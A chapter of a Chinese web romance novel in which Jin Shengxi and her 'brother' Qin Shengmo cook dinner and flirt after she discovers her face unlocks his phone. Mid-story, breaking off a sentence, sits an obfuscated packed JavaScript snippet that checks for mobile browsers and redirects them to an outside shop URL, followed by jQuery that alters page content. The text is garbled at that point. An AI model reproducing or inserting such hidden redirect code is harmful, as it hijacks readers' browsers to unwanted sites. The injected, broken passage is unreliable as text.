金盛溪一路都在想那张照片。
她记得应该是高中回校拿毕业证那天,雨后出了彩虹,姐姐兴致勃勃地给她拍了几张。
可他什么时候存下来的?又是什么时候换成了手机屏保的?
还是说只是觉得那道彩虹比较好看?毕竟照片里那个人影小小的,只占了一角。
但秦盛墨怎么看都不像是会用照片当屏保的人。
脑子里的猜测像团毛线,绕来绕去理不出头绪。直到车子在她公寓楼停下,秦盛墨:“你还想在车里坐到什么时候?”
金盛溪解开安全带,默默下车。
等电梯的时候,她站在秦盛墨斜后方半步,视线不受控制地往他侧脸上落。
看着看着,思绪又飘回那张照片上。
正出神,秦盛墨忽然转过头。
金盛溪一紧张,立刻扭头装作在看电梯楼层显示。
秦盛墨将她那点小动作尽收眼底,心想:还挺能憋,这是真打算当一晚上小哑巴。
他走在前面,到了门口停下等着。金盛溪还没琢磨出个所以然,慢吞吞跟在后头,没留意秦盛墨停下,差点撞上他后背。她往后退一步,抬头:“嗯?你开门啊。”
秦盛墨垂眼看她:“密码。”
金盛溪“啊”了一声,有点懵:“你不知道吗?”
秦盛墨语气平平:“来了两回,你都没想着要告诉我。”
“忘了。”金盛溪摸了摸耳朵,小声嘀咕,“我以为和你说过的。”她上前一步,用指纹开了锁,门“嘀”一声解锁,她顺口报出数字,“密码是0577128加井号键。”
“为什么是这个数字?”秦盛墨先前两次都试过她可能会设的密码,失败了几次便作罢。他大概也猜到她或许是又改了什么奇奇怪怪的数字。
金盛溪有点不好意思:“上回昭昭给我推荐了个微信小游戏,这是我的游戏地区排名。”
连着叠叠乐消灭了两周,钱也充了,复活广告看了一遍又一遍,结果排名不升反降,真是没人比她还心酸了。
和秦盛墨猜的八九不离十:“那下回排名变了,密码是不是还要改。”他看向门锁,“给我录个指纹吧。”
金盛溪已经进门了,听见他的话,回头说:“现在?”
“就现在。”
“哦。”
她把包挂在玄关的架子,调出密码锁的管理界面:“你把手放上去吧。”
秦盛墨摘下手套。他的手看着极具力量感,手背上青筋隐现。金盛溪的视线不由落在上面,脑海里不合时宜地闪过昨晚他握住自己手腕时的触感和力道。
真是疯了。最近扫了太多本小说,现在满脑子都在想些什么东西。
金盛溪把眼一闭。
要死了。
可她哥的手是真好看。
秦盛墨依着提示将拇指按在识别区,屏幕亮起录入的进度圈。录好后,他曲起食指在金盛溪脸上戳了一下:“闭什么眼睛,进去了。”
金盛溪晃晃头,把那些乱七八糟的想法都抛出去。
进了屋,秦盛墨脱下外套挂好,挽起袖子就往厨房去:“想吃什么?”
金盛溪跟过去,靠在厨房门框上:“煎个牛排吧,要辣的。”
其实她现在有点想吃烧烤了,谁让回来的路上经过了串烧一条街呢。住在旧城区的好处就是管得不严,哪怕再冷再晚都会有人出来在夜市上摆摊,热热闹闹一片。
“你接下来几天真打算当哑巴?”秦盛墨走到水池边洗手,水流冲过他匀称的手指。
水流,泡沫。
哥的手......
金盛溪猛地回过神,暗自骂了一句:不行,不能再看了,显得她好变态。
秦盛墨没注意她,扯过厨房纸巾擦干手,又拿条围裙系上,打开冰箱看了看:“简单煮点面吃,行吗?”
金盛溪皱了下鼻子:“这样会不会太对不起我的肚子。”
“但对得起你的喉咙。”秦盛墨取出鸡蛋和青菜,不容商量,“如果你不想明天起来会咳嗽的话。”
金盛溪撇撇嘴:“那你还问我想吃什么。”
秦盛墨把鸡蛋磕进碗里,闻言抬眼看她,嘴角勾起笑:“对啊,就问问你。”
到底是谁不讲理......
她小声嘟囔:“哥,你有时候也挺坏的。”
只见秦盛墨放下碗,朝她招招手:“过来。”
金盛溪警觉:“干嘛?”
“煎荷包蛋。”
“不是你做吗?为什么指挥我?”
秦盛墨已经转身去烧水:“这不是应了你那句,哥挺坏的。”
金盛溪:“......”
她默默咽下那点小小的抗议,认命地上前。
沈明岚等来半天不见她的消息,只好自己主动来问。
【昭昭:战况如何?猫猫探头.jpg】
金盛溪单手拿着锅铲,右手飞快打字。
【舟舟:没有情况。
昭昭:你快上啊姐妹!
昭昭:怒其不争捶桌.gif】
【舟舟:上什么上,你先别急。
昭昭:你说说你之前也没谈过对象,这一来就给我整个大的。点烟.jpg
舟舟:猫猫捂脸.jpg】
【昭昭:那你们现在在干嘛?】
金盛溪正要回“我在煎蛋”,打到一半,忽然闻到一丝焦味。
救命,她的荷包蛋!
她手忙脚乱地去翻面,可惜已经晚了,蛋白边缘焦黄发黑,妥妥地糊了。她懊恼地把它铲出来,搁在盘子里,样子有点凄惨。
秦盛墨已经下完面条了,站在一边看她,没出声。
金盛溪抬头,有点恼:“你为什么不提醒我?”
“我以为你想煎得脆一点。”秦盛墨回身,用筷子翻动一下锅里的面,又把盖盖上,接过她手里的盘子,“行了,你去坐着吧,别添乱了。”
金盛溪“哦”了一声,趁他不注意,在他围裙上擦擦手,飞快跑掉。
秦盛墨:“出息。”
还知道快点跑。
金盛溪兜里的手机又震了。
【昭昭:?
昭昭:人呢姐妹儿??】
她抱着凑过来的汤圆窝进沙发里,回了一句:“煎鸡蛋呢,结果和你聊着就煎糊了,现在被赶出厨房了。”
发完,她把下巴搁在汤圆毛茸茸的脑袋上,看着厨房里秦盛墨忙碌的背影发呆。
“叮——”
以为又是沈明岚,她拿起来一看,锁屏界面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888848|192139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却干干净净。
“叮——叮——”
又是连着几条提示音。
金盛溪才看见秦盛墨的手机就放在茶几上,屏幕因为新消息而短暂亮起,又很快暗了下去。
她飞快地瞥了一眼厨房,又回过头看向那部手机。
汤圆一个劲往她怀里拱,蹭得她心痒痒了,可终究没敢真伸手。
正纠结着,秦盛墨就端着两碗热气腾腾的面出来放在餐桌上。
明明没做什么,金盛溪还是很心虚,那边一有动静,她就立马坐端正了。“哥,你手机刚才连着响了好几下,是不是有什么急事?”
秦盛墨却是转身又回了厨房:“你帮我看一下,我洗个手。”
金盛溪:“!”
她怀疑她哥在钓鱼,但是没有证据。
看?还是不看?
两个小人在脑子里打得不可开交,但她的手却比脑子快,已经摸到了秦盛墨的手机。手指触到机身时,她才想起——
“不对,我解锁不了啊......啊?”
手机屏幕随着她拿起自动亮起,面部识别的小锁图标旋转了一下。
开了。
金盛溪:“?!”
桌屏上的照片赫然呈现在眼前。雨后清透的天空,浅淡的彩虹,还有左下角那个穿着校服仰头看天的背影。
心脏砰砰跳快了些,金盛溪手一颤按下侧键,屏幕再次熄灭,映出她有些慌乱的脸。
“是谁的消息?”秦盛墨出来,拉开餐椅坐下。
金盛溪声音更哑了:“没看。”
忙活一阵,秦盛墨倒有些热了,随手解开一颗扣子,见她有些不自然,眉梢微挑:“你紧张什么?”
“我......”金盛溪转过身来,“我为什么能开你的手机?”
秦盛墨瞥了一眼被反扣在茶几上的手机,反问她:“这不是你自己设的?”
金盛溪懵了:“我什么时候......”
秦盛墨已经起身走到她面前,压低声音,放缓了语调:“自己干的事说忘就忘啊,舟舟,这个习惯不好。”
金盛溪微垂着眼,视线也下落。他说话时喉结滚动,再往下是敞开的领口,隐约能见锁骨。
一股热度轰地冲上头顶,她觉得头皮阵阵发麻,偏偏上方还传来秦盛墨低低的笑声。
金盛溪抿紧唇,回想起这人从临州回来后的一系列表现。
先前不敢深想,但她又不是没成年的小屁孩,怎么可能察觉不到呢?
秦盛墨就是故意的。
所以那些似有若无的靠近和触碰,都不是她的错觉或过度解读。
金盛溪倏地抬起头,直视他:“平时怎么不见得你喜欢钓鱼。”
秦盛墨眯了下眼,游刃有余的笑意未减。
“是吗?”他又向前倾了半分,声音蛊惑,“那小鱼上钩了没?”
金盛溪没接话。
她才不上这个当。自个儿这边的线都还没放完呢,哪能先让他钓上。
这么想着,却还是忍不住偷看她哥。她强迫自己移开视线,又绕回原来的问题:“我怎么不记得我在你手机上设过解锁。”
秦盛墨看着她强作镇定却红透了耳尖,慢条斯理地开口:“需要我帮你好好回忆一下吗?”